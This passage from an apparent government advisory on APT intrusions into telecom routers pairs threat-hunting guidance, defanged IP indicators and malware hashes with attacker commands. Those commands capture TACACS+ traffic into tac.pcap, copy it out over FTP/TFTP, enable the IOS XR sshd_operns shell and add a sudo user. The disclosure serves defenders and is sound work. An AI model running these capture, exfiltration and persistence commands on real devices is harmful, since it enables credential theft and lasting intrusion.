monitor capture mycap buffer size 100
monitor capture mycap start	Start the capture
show monitor capture mycap buffer brief	Check status of capture
monitor capture mycap export bootflash:tac.pcap	Export PCAP to file, staging for exfiltration
copy bootflash:tac.pcap ftp://<domain/service>:*@<IP>	Exfiltration
copy bootflash:tac.pcap tftp://<IP>/tac.pcap

Host-level indicators

If console logging or visibility of remote FTP/TFTP from a network appliance are available, the following host-level indicators may assist with detecting activity: 

Capture name: 'mycap' 
Capture rule: 'match ipv4 protocol tcp any any eq 49' 
Exported pcap filename: 'tac.pcap'

tftp remote filename: 'tac.pcap' 
tftp remote IP: [remote IP] 

Enabling SSH access to the underlying Linux host on IOS XR

Cisco IOS XR (64-bit) is a Linux-based network operating system built on a Yocto-based Wind River Linux distribution. IOS XR is typically administered via the IOS XR CLI over SSH on port TCP/22 or via console. 

The built-in sshd_operns service exposes an additional SSH endpoint on the host Linux. When enabled, it listens on TCP/57722 and provides direct shell access to the host OS. Root logins are not permitted to this service, as only non-root accounts can authenticate.

On IOS XR, sshd_operns is disabled by default and must be explicitly started (e.g., service sshd_operns start). Persistence across reboots requires enabling at init (chkconfig) or equivalent.

In observed intrusions, the APT actors enabled sshd_operns, created a local user, and granted it sudo privileges (e.g., by editing /etc/sudoers or adding a file under /etc/sudoers.d/) to obtain root on the host OS after logging in via TCP/57722. 

The commands listed in Table 2 were executed from the host Linux bash shell as root.

Table 2: Commands to add user to sudoers

Command	Description
service sshd_operns start	Starting the sshd_operns service
useradd cisco password cisco	Adding a new user
sudo vi /etc/sudoers	Adding the new user to sudoers
chmod 4755 /usr/bin/sudo	As 4755 is the default permissions for sudo, it is unclear why the actors executed this command

Threat hunting guidance

The authoring agencies encourage network defenders of critical infrastructure organizations, especially telecommunications organizations, to perform threat hunting, and, when appropriate, incident response activities. If malicious activity is suspected or confirmed, organizations should consider all mandatory reporting requirements to relevant agencies and regulators under applicable laws and regulations, and any additional voluntary reporting to appropriate agencies, such as cybersecurity or law enforcement agencies who can provide incident response guidance and assistance with mitigation. See the Contact information section for additional reporting information.

The malicious activity described in this advisory often involves persistent, long-term access to networks where the APT actors maintain several methods of access. Network defenders should exercise caution when sequencing defensive measures to maximize the chance of achieving full eviction, while remaining compliant with applicable laws, regulations, and guidance on incident response and data breach notifications in their jurisdictions. Where possible, gaining a full understanding of the APT actors’ extent of access into networks followed by simultaneous measures to remove them may be necessary to achieve a complete and lasting eviction. Partial response actions may alert the actors to an ongoing investigation and jeopardize the ability to conduct full eviction. Incident response on one network may also result in the APT actors taking measures to conceal and maintain their access on additional compromised networks, and potentially disrupt broader investigative and operational frameworks already in progress.

The APT actors often take steps to protect their established access, such as compromising mail servers or administrator devices/accounts to monitor for signs that their activity has been detected. Organizations should take steps to protect the details of their threat hunting and incident response from APT actor monitoring activities.

The authoring agencies strongly encourage organizations to conduct the following actions for threat hunting:

Monitor configurations changes

• Pull all configurations for running networking equipment and check for differences with latest authorized versions.
  • Review remote access configurations for proper application of ACL and transport protocols. Review ACLs for any unauthorized modifications.
  • If SNMP is being used, ensure networking equipment is configured to use SNMPv3 with the appropriate authentication and privacy configurations set, as defined in the User-based Security Model (USM) and the View-based Access Control Model (VACM).
  • Verify the authenticity of any configured local accounts and their permission levels.
• Check all routing tables to ensure that all routes are authorized and expected.
• Verify that any PCAP commands configured on networking equipment are authorized.

Monitor virtualized containers

• If networking equipment has the capability to run virtualized containers, ensure that all running virtualized containers are expected and authorized.
• For devices that support Cisco Guest Shell (IOS XE and NX-OS), do not rely on device syslog alone to detect actor activity. Use a combination of device syslog, AAA command accounting, container (Guest Shell) logs, and off-box flow/telemetry.
• Capture lifecycle and CLI activity with AAA accounting (TACACS+/RADIUS) for configuration/exec commands so that enable/disable and entry actions are recorded.
• For IOS XE, hunt for guestshell enable, guestshell run bash, and guestshell disable. On NX-OS, hunt for guestshell enable, run guestshell, and guestshell destroy. Alert on unexpected use of chvrf (running commands under a different VRF) and, on NX-OS, use of dohost (container invoking host CLI).

Monitor network services and tunnels

• Monitor for management services running on non-standard ports (SSH, FTP, etc.).
• Hunt for actor-favored protocol patterns:
  • SSH on high non-default ports with 22x22/xxx22 numbering patterns from non-admin source IPs.
  • HTTPS/Web UI listeners on non-default high ports (18xxx) reachable from outside the management VRF.
  • TCP/57722 (IOS XR sshd_operns) reachability or flows.
    • Hunt for TCP/57722 listeners on IOS XR platforms (the host Linux sshd_operns service). Collect flow/telemetry (NetFlow/IPFIX) from the management VRF. Any inbound TCP/57722 should be treated as high-risk if unexpected.
  • TACACS+ (TCP/49) flows to non-approved IPs or any TACACS+ traffic leaving the management VRF. Correlate with device configuration to detect redirection of TACACS+ servers to APT actor-controlled infrastructure.
  • FTP/TFTP flows originating from network devices to unapproved destinations, especially when preceded by on-box PCAP collection activity.
• Audit any tunnel that transits a security boundary, such as peering points between providers, to ensure it can be accounted for by network administrators. In particular, examine:
  • Unexplained or unexpected tunnels between Autonomous System Numbers (ASNs).
  • Unauthorized use of file transfer protocols, such as FTP and TFTP.
    • Monitor network traffic for abnormal volumes of files transfers to internal FTP servers, which the APT actors may use as staging areas prior to data exfiltration.
  • Extensive SSH activity against routers, followed by the establishment of both an incoming tunnel and outgoing tunnel—each of which may leverage different protocols.

Monitor firmware and software integrity

• Perform hash verification on firmware and compare values against the vendor's database to detect unauthorized modification to the firmware. Ensure that the firmware version is as expected.
• Compare hashes of images both on disk and in memory against known-good values. Reference the Network Device Integrity (NDI) Methodology or Network Device Integrity (NDI) on Cisco IOS Devices for more information.
• Use the product’s run-time memory validation or integrity verification tool to identify any changes to the run-time firmware image.
• Where supported by the platform, enable image and configuration integrity features, such as signed image enforcement and secure configuration checkpoints. Alert on any boot-time or run-time verification failure.
• Check any available file directories that may exist (flash, non-volatile random-access memory [NVRAM], system, etc.) for non-standard files.

Monitor logs

• Review logs forwarded from network devices for indications of potential malicious behavior, such as:
  • Evidence of clearing locally stored logs,
  • Disabling log creation or log forwarding,
  • Starting a PCAP recording process using available functions,
  • Allowing remote access via non-standard methods or to new locations, and
  • Changes to configuration of devices via non-standard methods or from unexpected locations.
• Alert on creation/start of any on-box packet capture (e.g., monitor capture ... start, Embedded Packet Capture) or SPAN/RSPAN/ERSPAN session definitions, especially those matching TACACS+ (TCP/49) or RADIUS.
• Inventory and continuously watch monitor session ... (SPAN/ERSPAN) and PCAP state. Naming patterns include mycap and output filenames like mycap.pcap, tac.pcap, and 1.pcap.
• Where supported, deploy embedded event triggers (e.g., EEM on IOS XE/NX-OS) to syslog any invocation of packet-capture or span/erspan configuration commands, capturing the invoking username and source.
• Audit for non-root local accounts granted sudo on XR host Linux (e.g., via /etc/sudoers or /etc/sudoers.d/). Where supported, ensure the host operating system (OS) sshd_operns service is disabled and not listening. Validate at each reboot and device upgrade.
• Alert on config or telemetry indicating new XR host OS services, changes to systemd service states, or unexpected privilege escalations on the host OS.
• Analyze internal FTP Server logs for any logins from unexpected sources.
• Monitor network traffic for logons from one router to another router, as this should not be typical of normal router administration processes.

If unauthorized activities are discovered, coordinate containment sequencing before disabling to avoid tipping active APT operators. Capture live artifacts (process lists, bound sockets, on-box files), then eradicate.

See the Contact information section of this advisory for response actions that should be taken if malicious activity is confirmed.

Indicators of compromise

IP-based indicators

The following IP indicators were associated with the APT actors’ activity from August 2021 to June 2025. Disclaimer: Several of these observed IP addresses were first observed as early as August 2021 and may no longer be in use by the APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 3: APT-associated IP-based Indicators, August 2021-June 2025

1.222.84[.]29	167.88.173[.]252	23.227.202[.]253	45.61.151[.]12
103.169.91[.]231	167.88.173[.]58	37.120.239[.]52	45.61.154[.]130
103.199.17[.]238	167.88.175[.]175	38.71.99[.]145	45.61.159[.]25
103.253.40[.]199	167.88.175[.]231	43.254.132[.]118	45.61.165[.]157
103.7.58[.]162	172.86.101[.]123	45.125.64[.]195	5.181.132[.]95
104.194.129[.]137	172.86.102[.]83	45.125.67[.]144	59.148.233[.]250
104.194.147[.]15	172.86.106[.]15	45.125.67[.]226	61.19.148[.]66
104.194.150[.]26	172.86.106[.]234	45.146.120[.]210	63.141.234[.]109
104.194.153[.]181	172.86.106[.]39	45.146.120[.]213	63.245.1[.]34
104.194.154[.]150	172.86.108[.]11	45.59.118[.]136	74.48.78[.]66
104.194.154[.]222	172.86.124[.]235	45.59.120[.]171	74.48.78[.]116
107.189.15[.]206	172.86.65[.]145	45.61.128[.]29	74.48.84[.]119
14.143.247[.]202	172.86.70[.]73	45.61.132[.]125	85.195.89[.]94
142.171.227[.]16	172.86.80[.]15	45.61.133[.]157	89.117.1[.]147
144.172.76[.]213	190.131.194[.]90	45.61.133[.]31	89.117.2[.]39
144.172.79[.]4	193.239.86[.]132	45.61.133[.]61	89.41.26[.]142
146.70.24[.]144	193.239.86[.]146	45.61.133[.]77	91.231.186[.]227
146.70.79[.]68	193.43.104[.]185	45.61.133[.]79	91.245.253[.]99
146.70.79[.]81	193.56.255[.]210	45.61.134[.]134	2001:41d0:700:65dc::f656[:]929f
167.88.164[.]166	212.236.17[.]237	45.61.134[.]223	2a10:1fc0:7::f19c[:]39b3
167.88.172[.]70	23.227.196[.]22	45.61.149[.]200
167.88.173[.]158	23.227.199[.]77	45.61.149[.]62

 Custom SFTP client

The APT actors also use a custom SFTP client, which is a Linux binary written in Golang, to transfer encrypted archives from one location to another. 

The following SFTP client binaries in Table 4 through Table 7 are similar in that they are used to transfer files from a compromised network to staging hosts where the files are prepared for exfiltration. However, cmd1 has the additional capability of collecting network packet captures on the compromised network. Note: The cmd3 and cmd1 clients were likely written by the same developer since they have similar build path strings and code structure.

Table 4: cmd3 SFTP client 

File Name	cmd3
MD5 Hash	eba9ae70d1b22de67b0eba160a6762d8
SHA 256 Hash	8b448f47e36909f3a921b4ff803cf3a61985d8a10f0fe594b405b92ed0fc21f1
File Size (bytes)	3506176
File Type	ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=rHFK_GWSIG3fShYR02ys/Hou3WF-dO9MYtI232CYr/ D3n2Irn5doNndtloYkEi/r3IcebaH3y02cYer7tm0 stripped
Command Line Usage	./cmd3 <encrypted_configuration_string>
Version String	v1.0
Build Path String	C:/work/sync/cmd/cmd3/main.go

Table 5: cmd1 SFTP client

File Name	cmd1
MD5 Hash	33e692f435d6cf3c637ba54836c63373
SHA 256 Hash	f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4
File Size (bytes)	3358720
File Type	ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=N3lepXdViXHdPCh5amSa/LhM5susdTarcmIQEMqku/ eplvxiWNUFNeKXjT-6sd/R-eCtbFZFNozRZqEuwZY stripped
Command Line Usage	./cmd1 <encrypted_configuration_string>
Version String	V20240816
Build Path String	C:/work/sync_v1/cmd/cmd1/main.go

Cmd1 SFTP client Yara rule